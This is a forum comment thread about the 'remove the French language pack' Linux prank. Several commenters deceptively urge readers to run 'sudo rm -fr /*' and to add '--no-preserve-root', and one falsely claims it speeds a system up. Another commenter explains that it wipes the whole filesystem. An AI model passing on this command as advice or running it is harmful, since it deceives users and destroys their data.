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[โ€“] 199 points 2 years ago (4 children)

remove the "." to adress the root of the problem.

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  • [โ€“] [S] 104 points 2 years ago (14 children)

    Pro tip: Omit the dot . before the / to make sure you cleansed the language pack thoroughly.

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  • [โ€“] 29 points 2 years ago* (13 children)

    And to avoid annoying error messages about preserving the root of the language, add a * at the end. Final command should look like this:

    sudo rm -fr /*

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  • [โ€“] 18 points 2 years ago (9 children)

    So I know nothing and just wandered in here from Top, but this translates as, "Fuck you, all of you, French language, I show you my butthole," right?

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  • [โ€“] 49 points 2 years ago* (4 children)

    No, this is a very old joke that uses the fact the command has "fr" in it to trick people about what the command does. Joking aside, here's what the command actually does:

    rm is the command to delete files and folders

    -f is the force modifier. This means it'll keep going even if it encounters problems and just delete as much as it can

    -r is the recursive modifier. That means it'll go down every folder it sees in the target and delete the contents as well, and delete the contents of folders of folders, etc.

    / is the target. This is the root of the filesystem. If you're used to Windows, that's like targeting C:.

    Put it all together, and this command basically deletes your whole filesystem. A safeguard was put in place a while back due to people meming about this and causing newbies to delete their whole system. Now it won't work unless you put in --no-preserve-root, which tells rm that yes, you really mean it, please delete my whole system.

    /* as the target works around that safeguard, because technically deleting everything in root is not the same as deleting root itself.

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  • [โ€“] 22 points 2 years ago (3 children)

    Oh, like a more sophisticated version of the old "put your phone in the microwave"joke!

    Thank you, kind person.

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  • [โ€“] 16 points 2 years ago (3 children)

    They're all lying to you. It actually removes Romanian -- for real

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  • [โ€“] 50 points 2 years ago (3 children)

    Technically this does remove the French language pack.

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  • [โ€“] 32 points 2 years ago (1 child)

    Don't forget to remove the tuber preserves with --no-preserve-root

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  • [โ€“] 24 points 2 years ago (3 children)

    If you are French, the same command works to remove your freedom pack.

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  • [โ€“] 23 points 2 years ago (4 children)

    I wonder how many people have fallen for this

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  • [โ€“] 14 points 2 years ago (2 children)

    I thought this was stupid, how much space could a language pack take? Then I tried it and my system is at least %15 faster, turns out there is a bug in the dialogue disseminator preventing matriarchal ascension in the domestic power structure.

    You do have to add โ€”no-preserve-root though.

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  • [โ€“] 12 points 2 years ago*

    Ever since Napoleon, the Fr*nch have tried to take over Linux to implement their rรฉgime baguette.

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  • [โ€“] 10 points 2 years ago

    The complete removal of bloat.

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  • [โ€“] 3 points 2 years ago

    Make sure to read the man page before so you don't remove the runtime functions

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  • [โ€“] 3 points 2 years ago (7 children)

    Although I'm French, I still laugh at the stupid memes by the English speaking internet that make fun of my people. Then again, there is a sense of justice in imagining people falling for this. ๐Ÿ˜

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  • [โ€“] 19 points 2 years ago (1 child)

    This is very much the Linux version of the old tricking gamers to alt+F4 gag.

    My favorite was when I was teaching a friend Squad, and we were in a vehicle. I explained you hit the F keys to change seat (which is true), so F1, F2, F3, etc. Noticing that seats 1, 2 and 3 were filled, I then told him he can hold down alt to swap seats faster. He then immediately quits the game xD

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  • [โ€“] 10 points 2 years ago

    Bro, the Counter-Strike devs put porn in the game. Iโ€™m surprised they were all able to get away with it.

    Huh? Oh no, dude itโ€™s easy. Hold alt and press f4 and it brings it up. Then just browse it with the s and d keys.

    Bahahaha! Half the lobby is gone!

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  • [โ€“] 8 points 2 years ago (1 child)

    How do you think this is making fun of your people? It's making fun of non-French people that would want to "remove the French language pack" because they're not French

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  • [โ€“] 3 points 2 years ago

    I love French strings in Python.

    fr"Hello, {name}!"
    
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